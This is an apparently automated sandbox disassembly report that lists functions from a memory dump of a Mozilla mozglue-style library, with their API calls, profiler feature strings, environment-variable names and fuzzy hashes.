Opcode Fuzzy Hash: 25a04d4d22d39012b329c3974842a862c277848e7c96264024977a636606b6fc
Instruction Fuzzy Hash: C3F0AFB0A0420CAFEF019AA1CC84BEE77BC9F28719F109129E511729C0D774E688C661

Function 6C994640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C994777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C995585, 6C9955A8, 6C9955C3, 6C995624

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: d37aeb42e62246feb1d2383ffed458a11d9bd7119a85156762e09b355e1bd618
Instruction ID: 45def062ad42f0959d4590eb036966d47d7defb0c118bc68d055716fd0ab83dd
Opcode Fuzzy Hash: d37aeb42e62246feb1d2383ffed458a11d9bd7119a85156762e09b355e1bd618
Instruction Fuzzy Hash: 57B29D71A057018FD309CF29C590716BBE6BFC5328B2DC7ADE46A8B6A5D731E841CB81

Function 6C9D85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9D8C7C
__aulldiv.LIBCMT ref: 6C9D8DD7

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 9f7cd4b1eb856f7a1f0010bf87cddf53f8323b4d4d09b6c47c997f53d0614176
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 52329F31F005198BDF1CCE9DC8A17BEB7B6FB88310F56912AD406BB791CA34AD418B95

Function 6C9DB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9803D4,?), ref: 6C9DB955
NtQueryVirtualMemory.NTDLL ref: 6C9DB9A5

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 2dd00f4ccf3529e2533a23ada89af8c13643970d0d35a48c7c707d438502c657
Instruction ID: 4bc49fe579e948d26afc2a2ebd346a6149cd0aecd8c251ba0b986706d95d2950
Opcode Fuzzy Hash: 2dd00f4ccf3529e2533a23ada89af8c13643970d0d35a48c7c707d438502c657
Instruction Fuzzy Hash: 1C41B471E0161D9FDF04CFA8D880ADEB7B9EF88358F558129E515A7704DB30EC458B90

Function 6C9B5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C984A63,?,?), ref: 6C9B5F06

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3f9b84d642bf0feeb07b7e05041c62d445ca763a4520d074481a95d826f94bb0
Instruction ID: ab7921ce70af380c7e2b471b2340586f2fd6c334f518e25e046aa9877d45588b
Opcode Fuzzy Hash: 3f9b84d642bf0feeb07b7e05041c62d445ca763a4520d074481a95d826f94bb0
Instruction Fuzzy Hash: 1EC1AF75E01209ABCB04CF95C5906EEFBB6FF8A318F28425DD8557BB45D732A806CB90

Function 6C97DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa1ffc2739ba546c184e1ca3692d97669d92bd2c6fb353cbb611f2e836494cc
Instruction ID: 2420ff0e680ae108f742e6ad10f41d8281e6e24b57450cae6bbac2015ef3cc7d
Opcode Fuzzy Hash: afa1ffc2739ba546c184e1ca3692d97669d92bd2c6fb353cbb611f2e836494cc
Instruction Fuzzy Hash: 8F42C132A097518FD314CE3CC49139AB3E2BFC9364F198B2DE999A7790D734D9418B81

Function 6C9E76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 17d7c3fbddf238b86748ec42ccc916ce30393c4160057f595498d6a71b75d55e
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8B321871E0061A8FCB15CF98C880AADFBF6FF98304F5481A9C549A7746D731A986CF91

Function 6C9E6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 81d8b0b9cc10f1787240561eeea8acce104aa4335a3098664ae979d509375df4
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 2222E871E002198FCB15CF98C880AADF7F6FF98304F6485AAC549A7746D731A986CF90

Function 6C9A0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: dd002deb7c4bb720e901b6777861c564866c4292dc6fdb8ab7ff55671b68bba1
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B8220771E04669CFDB14CF98C890AADF7B6FF89308F548199D44AA7705D731A986CF80

Function 6C9EAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b19db587d712627a1d5f7c4aba2f4f1ba577eb39f4dd62fc827e74f492de22
Instruction ID: da33c61c4693a9e97d70c1e900081f648f74a4f594c78513f56557434f42d12c
Opcode Fuzzy Hash: 16b19db587d712627a1d5f7c4aba2f4f1ba577eb39f4dd62fc827e74f492de22
Instruction Fuzzy Hash: 6CF15D716083458FD702CF28C48036ABBF6AFED318F158A2DE4D4877A1EB74D8858792

Function 6C97C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: fbdf65a649773743d553d309eeb9811d644a680c15a34be756e26b3c5f8b80d1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: D1A1B171F0121A8FDB18DE69C8913AEB7F2AFC8354F198169D915E7781DB349C068BE0

Function 6C9B7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 2d832eb64c39f81183da98a0178add196e3fae4b5ddc7a198937508702048fc0
Instruction ID: beda5f02de0360db43891a5156ba63d7581b589839e33224471a8904d7aaa273
Opcode Fuzzy Hash: 2d832eb64c39f81183da98a0178add196e3fae4b5ddc7a198937508702048fc0
Instruction Fuzzy Hash: 4A715D75E012199FCB18CFA9D4905EEBBB6FF89314F24826ED415BB740D731A905CBA0

Function 6C9B58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 216abe1fe336c9b7730968e1ad838549c448772ff4970d701f5873fc2abd9764
Instruction ID: 3d27daa563ad86e2cd38a4beec83213e70d91131874843a89005e86cfd28640a
Opcode Fuzzy Hash: 216abe1fe336c9b7730968e1ad838549c448772ff4970d701f5873fc2abd9764
Instruction Fuzzy Hash: B6816B75A012199FCB04CFA8D8809EEBBF6FF89318F644269E411BB741D731E945CBA0

Function 6C9BCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C98582D), ref: 6C9BCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C98582D), ref: 6C9BCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9EFE98,?,?,?,?,?,6C98582D), ref: 6C9BCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C98582D), ref: 6C9BCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9BCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9BCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9BCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9BCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9BCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9BCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9BCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9BCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9BCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9BCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9BCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9BCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9BCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9BCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9BCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9BCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9BCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9BCE8A

Strings

markersallthreads, xrefs: 6C9BCE42
ipcmessages, xrefs: 6C9BCDBE
stackwalk, xrefs: 6C9BCCF8
samplingallthreads, xrefs: 6C9BCE2C
fileioall, xrefs: 6C9BCCA8
default, xrefs: 6C9BCC21
unregisteredthreads, xrefs: 6C9BCE58
mainthreadio, xrefs: 6C9BCC7C
java, xrefs: 6C9BCC37
nostacksampling, xrefs: 6C9BCD7C
audiocallbacktracing, xrefs: 6C9BCDD4
leaf, xrefs: 6C9BCC66
Unrecognized feature "%s"., xrefs: 6C9BCEA0
screenshots, xrefs: 6C9BCCD4
processcpu, xrefs: 6C9BCE6E
notimerresolutionchange, xrefs: 6C9BCE00
cpuallthreads, xrefs: 6C9BCE16
power, xrefs: 6C9BCE84
seqstyle, xrefs: 6C9BCCE6
jsallocations, xrefs: 6C9BCD0E
noiostacks, xrefs: 6C9BCCBE
fileio, xrefs: 6C9BCC92
preferencereads, xrefs: 6C9BCD92
nativeallocations, xrefs: 6C9BCDA8

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 15004a706b272e89b98cb0c705fae61a839452eda890c067457e2230872df07b
Instruction ID: 766b72771e136f228da3b57bfd6a23473be84e17576790d48d0093d50d1df7ae
Opcode Fuzzy Hash: 15004a706b272e89b98cb0c705fae61a839452eda890c067457e2230872df07b
Instruction Fuzzy Hash: 8D51CAC5B0532671FB0232596D10BAF180CEFF724AF10543AED69B5E81FB24E61A46B7

Function 6C9847C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C984801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C984817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C98482D
__Init_thread_footer.LIBCMT ref: 6C98484A

Part of subcall function 6C9AAB3F: EnterCriticalSection.KERNEL32(6C9FE370,?,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB49
Part of subcall function 6C9AAB3F: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AAB7C

GetCurrentThreadId.KERNEL32 ref: 6C98485F
GetCurrentThreadId.KERNEL32 ref: 6C98487E
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98488B
free.MOZGLUE(?), ref: 6C98493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C984956
free.MOZGLUE(00000000), ref: 6C984960
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98499A

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

free.MOZGLUE(?), ref: 6C9849C6
free.MOZGLUE(?), ref: 6C9849E9

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C984828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9847FC
[I %d/%d] profiler_shutdown, xrefs: 6C984A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C984812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C984A42

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 53ea47788f6beb2e7f9c7f8407afc9ea776431dc9be38dd10fb5eb9e9927c5af
Instruction ID: 4db0b381c74c402e4011414fbf70dd5adce977700f63d277583c3d2cfe2578c1
Opcode Fuzzy Hash: 53ea47788f6beb2e7f9c7f8407afc9ea776431dc9be38dd10fb5eb9e9927c5af
Instruction Fuzzy Hash: 9A814871A051008BDB10DF68E8A875E33BDBF5231CF240A29D9269BF41E735E845CF96

Function 6C984470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C984730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9844B2,6C9FE21C,6C9FF7F8), ref: 6C98473E
Part of subcall function 6C984730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C98474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9844BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9844D2
InitOnceExecuteOnce.KERNEL32(6C9FF80C,6C97F240,?,?), ref: 6C98451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C98455C
LoadLibraryW.KERNEL32(?), ref: 6C984592
InitializeCriticalSection.KERNEL32(6C9FF770), ref: 6C9845A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9845AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9845BB
InitOnceExecuteOnce.KERNEL32(6C9FF818,6C97F240,?,?), ref: 6C984612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C984636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C984644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C98466D
VerSetConditionMask.NTDLL ref: 6C98469F
VerSetConditionMask.NTDLL ref: 6C9846AB
VerSetConditionMask.NTDLL ref: 6C9846B2
VerSetConditionMask.NTDLL ref: 6C9846B9
VerSetConditionMask.NTDLL ref: 6C9846C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9846CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9846F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9846FD

Strings

WRusr.dll, xrefs: 6C9844B5
user32.dll, xrefs: 6C984557, 6C98463F
l, xrefs: 6C984578
kernel32.dll, xrefs: 6C9844CD
NativeNtBlockSet_Write, xrefs: 6C9846F7

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 5f3ec801d3b3bbf3f3d8bd38563a992bf740e722d94cbdf28cc2b6c0cee427ac
Instruction ID: 0d37ed4971926588697256b032e71772af85be6d9cdd796f2a0d2b13dd40f008
Opcode Fuzzy Hash: 5f3ec801d3b3bbf3f3d8bd38563a992bf740e722d94cbdf28cc2b6c0cee427ac
Instruction Fuzzy Hash: 2D6136B1609348AFEB008F60EC49B99BBFCEF4670CF248998E5249B681D770C945CF91

Function 6C9BE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C9BB9F1,?), ref: 6C9B7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9BDCF5), ref: 6C9BE92D
GetCurrentThreadId.KERNEL32 ref: 6C9BEA4F
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEA5C
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEA80
GetCurrentThreadId.KERNEL32 ref: 6C9BEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C9BDCF5), ref: 6C9BEA92
GetCurrentThreadId.KERNEL32 ref: 6C9BEB11
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C9BEB3C
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BEB5B

Part of subcall function 6C9B5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9BEB71), ref: 6C9B57AB

